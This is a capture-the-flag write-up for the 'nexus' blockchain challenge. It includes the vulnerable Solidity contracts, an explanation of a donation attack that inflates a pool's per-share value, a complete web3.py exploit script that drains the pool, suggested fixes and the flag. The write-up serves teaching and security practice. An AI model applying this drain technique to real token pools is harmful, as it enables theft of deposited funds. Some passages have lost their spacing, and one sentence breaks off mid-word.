C2C Qualification EnglishBlockchain
nexus

description
Author: chovid99
The essence of nexus. Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-nexus
Attachments
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Essence.sol";
import "./CrystalNexus.sol";
contract Setup {
Essence public essence;
CrystalNexus public nexus;
address public player;
uint256 public constant PLAYER_ESSENCE = 10000 ether;
uint256 public constant FIRST_ATTUNEMENT = 6000 ether;
uint256 public constant SECOND_ATTUNEMENT = 9000 ether;
uint256 public constant ASCENSION_THRESHOLD = 20250 ether;
bool public ritualsComplete;
constructor(address _player) {
player = _player;
essence = new Essence();
nexus = new CrystalNexus(address(essence));
essence.mint(player, PLAYER_ESSENCE);
}
function conductRituals() external {
require(!ritualsComplete, "Rituals already performed");
ritualsComplete = true;
essence.mint(address(this), FIRST_ATTUNEMENT + SECOND_ATTUNEMENT);
essence.approve(address(nexus), type(uint256).max);
nexus.attune(FIRST_ATTUNEMENT);
nexus.attune(SECOND_ATTUNEMENT);
}
function isSolved() external view returns (bool) {
return essence.balanceOf(player) > ASCENSION_THRESHOLD;
}
}Essence.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Essence {
string public name = "Ethereal Essence";
string public symbol = "ESS";
uint8 public decimals = 18;
address nexus;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
error Unauthorized();
constructor() {
nexus = msg.sender;
}
modifier auth() {
if (msg.sender != nexus) revert Unauthorized();
_;
}
function mint(address to, uint256 amount) auth external {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}CrystalNexus.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Essence.sol";
interface ICrystalReceiver {
function onCrystalReceived(address from, uint256 amount, uint256 crystals) external returns (bytes4);
}
contract CrystalNexus {
Essence public immutable essence;
uint256 public totalCrystals;
mapping(address => uint256) public crystalBalance;
mapping(address => bool) public attuned;
uint256 public constant BASE_FRICTION = 200;
uint256 public constant DYNAMIC_FRICTION = 2000;
uint256 public constant PRECISION = 10000;
uint256 public catalystReserve;
bool public resonanceActive;
address public guardian;
event Attunement(address indexed entity, uint256 essence, uint256 crystals);
event Dissolution(address indexed entity, uint256 crystals, uint256 essence);
event CatalystAdded(address indexed donor, uint256 amount);
event ResonancePulse(address indexed trigger, uint256 amplitude);
error NotAttuned();
error AlreadyAttuned();
error InsufficientCrystals();
error ResonanceUnstable();
error GuardianOnly();
constructor(address _essence) {
essence = Essence(_essence);
guardian = msg.sender;
}
function amplitude() public view returns (uint256) {
return essence.balanceOf(address(this)) - catalystReserve;
}
function crystalWorth(uint256 crystalAmount) public view returns (uint256) {
if (totalCrystals == 0) return crystalAmount;
return (crystalAmount * amplitude()) / totalCrystals;
}
function essenceTocrystal(uint256 essenceAmount) public view returns (uint256) {
uint256 amp = amplitude();
if (amp == 0 || totalCrystals == 0) return essenceAmount;
return (essenceAmount * totalCrystals) / amp;
}
function calculateFriction(address entity) public view returns (uint256) {
if (totalCrystals == 0) return BASE_FRICTION;
uint256 ownership = (crystalBalance[entity] * PRECISION) / totalCrystals;
uint256 dynamicPart = (ownership * ownership * DYNAMIC_FRICTION) / (PRECISION * PRECISION);
return BASE_FRICTION + dynamicPart;
}
function attune(uint256 essenceAmount) external returns (uint256 crystals) {
crystals = essenceTocrystal(essenceAmount);
essence.transferFrom(msg.sender, address(this), essenceAmount);
totalCrystals += crystals;
crystalBalance[msg.sender] += crystals;
attuned[msg.sender] = true;
if (_isContract(msg.sender)) {
try ICrystalReceiver(msg.sender).onCrystalReceived(
msg.sender,
essenceAmount,
crystals
) returns (bytes4 retval) {
require(retval == ICrystalReceiver.onCrystalReceived.selector, "Invalid receiver");
} catch {
// Contract doesn't implement callback, that's fine
}
}
emit Attunement(msg.sender, essenceAmount, crystals);
}
function dissolve(uint256 crystalAmount, address recipient) external returns (uint256 essenceOut) {
if (crystalBalance[msg.sender] < crystalAmount) revert InsufficientCrystals();
essenceOut = crystalWorth(crystalAmount);
uint256 friction = calculateFriction(msg.sender);
uint256 frictionAmount = (essenceOut * friction) / PRECISION;
essenceOut -= frictionAmount;
crystalBalance[msg.sender] -= crystalAmount;
totalCrystals -= crystalAmount;
essence.transfer(recipient, essenceOut);
emit Dissolution(msg.sender, crystalAmount, essenceOut);
}
function infuse(uint256 amount) external {
essence.transferFrom(msg.sender, address(this), amount);
catalystReserve += amount;
emit CatalystAdded(msg.sender, amount);
}
function activateResonance() external {
if (!attuned[msg.sender]) revert NotAttuned();
uint256 amp = amplitude();
if (amp < 1000 ether) revert ResonanceUnstable();
resonanceActive = true;
emit ResonancePulse(msg.sender, amp);
}
function claimCatalyst() external {
if (msg.sender != guardian) revert GuardianOnly();
if (resonanceActive) revert ResonanceUnstable();
uint256 amount = catalystReserve;
catalystReserve = 0;
essence.transfer(guardian, amount);
}
function harmonize(address target) external {
if (!resonanceActive) revert ResonanceUnstable();
if (!attuned[target]) revert NotAttuned();
uint256 targetCrystals = crystalBalance[target];
uint256 callerCrystals = crystalBalance[msg.sender];
if (callerCrystals <= targetCrystals) revert InsufficientCrystals();
uint256 transferAmount = targetCrystals / 10;
crystalBalance[target] -= transferAmount;
crystalBalance[msg.sender] += transferAmount;
}
function _isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}Overview
Brief summary
- The Nexus challenge is an economic / pool-manipulation problem: the player's goal is to increase their
Essencebalance from10000to > 20250 ESS (theASCENSION_THRESHOLD) so thatSetup.isSolved()is satisfied. ✅ - The core idea: inflate the pool amplitude without increasing totalCrystals, then redeem a small amount of crystals to withdraw a large amount of ESS.
Main contracts
Setup.sol— deploys the token (Essence) andCrystalNexus, mints ESS to the player, and runs rituals (large attune by the owner).Essence.sol— ERC-like token (simple transfer, mint by Setup viaauth).CrystalNexus.sol— pool logic:attune(),dissolve(),amplitude(),crystalWorth/essenceTocrystalcalculations, and friction.
Important mechanics (high-level)
attune(essenceAmount)exchanges ESS → crystals based onessenceTocrystal()(proportional tototalCrystalsandamplitude).dissolve(crystalAmount)returnscrystalWorth()minusfriction(BASE_FRICTION + dynamic part based on ownership).amplitude()is calculated fromessence.balanceOf(address(this)) - catalystReserve— meaning it directly reads the contract's token balance.- Because the contract reads the external token balance, transferring ESS directly to the contract (without
attune) increases amplitude without increasingtotalCrystals.
Vulnerability — root cause (brief)
- The design does not protect against direct token transfers to the contract; an attacker can increase
amplitude()without increasingtotalCrystals. - Result: a holder of a small number of crystals can redeem a small share to receive a disproportionately large portion of the ESS reserve — economic drain.
Exploit (brief)
- Call
attune(1)to create 1 crystal (small share). - Transfer almost all player ESS directly to
nexus(increasingamplitude()without increasingtotalCrystals). - Call
Setup.conductRituals()(owner performs a large attune → pool conditions become even more favorable to the attacker). - Call
dissolve()on the small crystal → withdraw a large amount of ESS (after friction). - Repeat attune/dissolve if needed until the player's balance exceeds
ASCENSION_THRESHOLD.
Why this solves the challenge
- This sequence allows the player to drain the ESS reserve in
CrystalNexusso the player balance exceeds 20250 ESS →isSolved()becomes true. 🎯
Recommended fix (brief)
- Do not use
essence.balanceOf(address(this))directly as the source of truth; store an internalreservevariable and update it only viaattune/dissolve/infuse, or add async()function to detect external transfers. - Validate that only contract flows can modify
amplitude()or adjusttotalCrystalsif external transfers occur. - Add unit tests for scenarios involving direct
transfer()to the contract and regression tests foressenceTocrystal/crystalWorthcalculations.
Smart Contract Analysis
Purpose & logic summary
CrystalNexusis an economic pool that exchangesEssence↔crystalsand calculatesamplitude()from the contract's ESS balance.- The exploit goal is to increase
amplitude()(pool size) without increasingtotalCrystals, allowing a holder of a small number of crystals to redeem (dissolve) disproportionate value.
Important variables & functions
amplitude()— currently =essence.balanceOf(address(this)) - catalystReserve(relies on external token balance).totalCrystals/crystalBalance— total crystal supply and ownership.attune()— increasestotalCrystalsand callsessence.transferFrom(...).dissolve()— calculatescrystalWorth()based onamplitude(), subtractsfriction, then callsessence.transfer(recipient, net).infuse()— increasescatalystReserve(separate from amplitude).
Root cause
- The pool depends on
essence.balanceOf(address(this))to calculate per-crystal value. SinceEssenceallows directtransfer()to the contract, an attacker can send ESS without modifyingtotalCrystals. - This creates an accounting mismatch: the token balance increases but
totalCrystalsremains the same →crystalWorth()andessenceTocrystal()become extremely favorable for small crystal holders. - Result: an attacker with 1 crystal can redeem most of the ESS reserve (after friction) — economic drain.
Exploit flow (state transitions, brief)
- Player calls
attune(1)→ receives 1 crystal;totalCrystals == 1(or very small). - Player calls
transfer(nexus, almost_all_player_ESS)→essence.balanceOf(nexus)increases significantly whiletotalCrystalsremains unchanged. - Owner calls
conductRituals()→nexus.attune(...)increases the owner reserve (further increasing amplitude if needed). - Player calls
dissolve(1, player)→crystalWorth(1)is calculated from the largeamplitude()→ player receives far more ESS than the initial input. - Repeat if needed until
essence.balanceOf(player) > ASCENSION_THRESHOLD.
Why the exploit works (intuitive explanation)
- The pool values crystals relative to the contract balance, not an internally tracked locked reserve. Direct token transfers manipulate the price without changing crystal supply.
- There is no synchronization or protection against direct transfers, allowing attackers to inject amplitude for free.
Impact & severity
- Impact: attacker can drain most of the ESS reserve from the pool and increase their balance beyond the solve threshold. Severity: **High (economic / logic fl
Solution Steps
Step 0 — Access RPC Node
- open 'http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-nexus'
- copy the port and open the URL with that port
http://challenges.1pc.tf:<PORT>/ - complete the PoW (solve in browser or curl) to obtain RPC node credentials
- use those credentials to connect to the RPC (example: Web3 HTTP provider)

Step 1 — Preparation: obtain 1 crystal (minimum attune)
- call
essence.approve(nexus_addr, amount)if needed (solver.py already performsapprove). - call
nexus.attune(1)to create1crystal — this gives you a small share in the pool. - verify:
nexus.crystalBalance(player) >= 1andnexus.totalCrystals >= 1.
Step 2 — Inflate amplitude (direct ESS transfer to contract)
- transfer almost all of your ESS directly to
nexususingessence.transfer(nexus_addr, balance - 1). - effect:
essence.balanceOf(nexus)increases drastically whiletotalCrystalsremains low →amplitude()increases. - verify:
nexus.amplitude()increases significantly.
Step 3 — Execute owner ritual (reseed pool)
- call
setup.conductRituals()(owner) — this willattunea large amount from the contract into the pool. - purpose: increase the reserves in the pool so that
crystalWorth(1)becomes very large. - verify:
nexus.totalCrystalsandnexus.amplitude()change as expected.
Step 4 — Drain pool (dissolve small crystal)
- call
nexus.dissolve(my_crystals, player)to redeem the crystal you hold (example:dissolve(1, player)). - result: you receive
crystalWorth(1)minus friction — because theamplitudeis large, the amount received far exceeds the initial capital. - note: Phase 1 usually returns most of the reserves (the script leaves ~5.5k ESS based on friction calculations in the code).
Step 5 — Reseed & drain remaining amplitude (repeat once more)
- when
totalCrystalsbecomes 0, create1crystal again (attune(1)) and repeatdissolve(1)to drain the remaining amplitude. - verify after each iteration:
essence.balanceOf(player)increases drastically.
Step 6 — Verify solve & retrieve flag
- call
setup.isSolved()→ iftrue, open the web launcher to view the flag. - final verification:
essence.balanceOf(player) > ASCENSION_THRESHOLD(20250 ETH in ESS units).
Exploit Script (solver.py)
import os
from web3 import Web3
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
WALLET_ADDR = "YOUR_WALLET_ADDRESS"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)
# ABI Minimal
setup_abi = [
{"inputs":[],"name":"essence","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"nexus","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"conductRituals","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"ritualsComplete","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}
]
nexus_abi = [
{"inputs":[{"internalType":"uint256","name":"essenceAmount","type":"uint256"}],"name":"attune","outputs":[{"internalType":"uint256","name":"crystals","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"uint256","name":"crystalAmount","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"dissolve","outputs":[{"internalType":"uint256","name":"essenceOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"crystalBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"totalCrystals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"amplitude","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}
]
essence_abi = [
{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]
essence_abi = [
{
"inputs":[{"internalType":"address","name":"spender","type":"address"},
{"internalType":"uint256","name":"amount","type":"uint256"}],
"name":"approve",
"outputs":[{"internalType":"bool","name":"","type":"bool"}],
"stateMutability":"nonpayable",
"type":"function"
},
{
"inputs":[{"internalType":"address","name":"to","type":"address"},
{"internalType":"uint256","name":"amount","type":"uint256"}],
"name":"transfer",
"outputs":[{"internalType":"bool","name":"","type":"bool"}],
"stateMutability":"nonpayable",
"type":"function"
},
{
"inputs":[{"internalType":"address","name":"account","type":"address"}],
"name":"balanceOf",
"outputs":[{"internalType":"uint256","name":"","type":"uint256"}],
"stateMutability":"view",
"type":"function"
}
]
setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
nexus_addr = setup_contract.functions.nexus().call()
essence_addr = setup_contract.functions.essence().call()
nexus_contract = w3.eth.contract(address=nexus_addr, abi=nexus_abi)
essence_contract = w3.eth.contract(address=essence_addr, abi=essence_abi)
def send_tx(tx_func):
tx = tx_func.build_transaction({
'from': account.address,
'nonce': w3.eth.get_transaction_count(account.address),
'gasPrice': w3.eth.gas_price
})
signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
res = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(res)
print(f"Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"Total Crystals: {nexus_contract.functions.totalCrystals().call()}")
# ===================== Before State =====================
print(f"{'='*30}\n[+] Before state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")
# ===================== Solver =====================
print(f"{'='*30}\n[+] Solver: \n{'='*30}")
print("[*] Approving Essence...")
send_tx(essence_contract.functions.approve(nexus_addr, 2**256-1))
print("[*] Attuning 1 wei...")
send_tx(nexus_contract.functions.attune(1))
print("[*] Direct transfer all ESS except 1 wei...")
balance = essence_contract.functions.balanceOf(account.address).call()
send_tx(essence_contract.functions.transfer(nexus_addr, balance - 1))
print("[*] Trigger ritual...")
send_tx(setup_contract.functions.conductRituals())
# Phase 1: drain (will leave ~5500 ESS due to 22% friction)
my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 1 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))
# Phase 2: reseed when totalCrystals == 0, then drain leftover amplitude
print("[*] Phase 2: attune 1 wei to recreate 1 crystal...")
send_tx(nexus_contract.functions.attune(1))
my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 2 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))
# ===================== After State =====================
print(f"{'='*30}\n[+] After state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")
if setup_contract.functions.isSolved().call():
print("[+] Solved! Ambil flag di web.")
else:
print("[-] Gagal.")python3 solver.py

This script performs the following steps:
approve()ESS tonexus(approve unlimited allowance from the player to Nexus).attune(1)— create 1 crystal (small share in the pool).transfer(nexus, balance - 1)— transfer almost all ESS directly to the contract to increaseamplitude()(accounting mismatch).conductRituals()(owner) — the owner performs a large attune into the pool.dissolve(my_crystals, player)— redeem the player's crystals to drain the pool (Phase 1).attune(1)thendissolve(...)again — reseed and drain the remaining amplitude (Phase 2).- Check
setup.isSolved()and the final status (essence.balanceOf(player)> threshold).
After that, we can retrieve the flag from the blockchain launcher.

flag
C2C{the_essence_of_nexus_is_donation_hahahaha}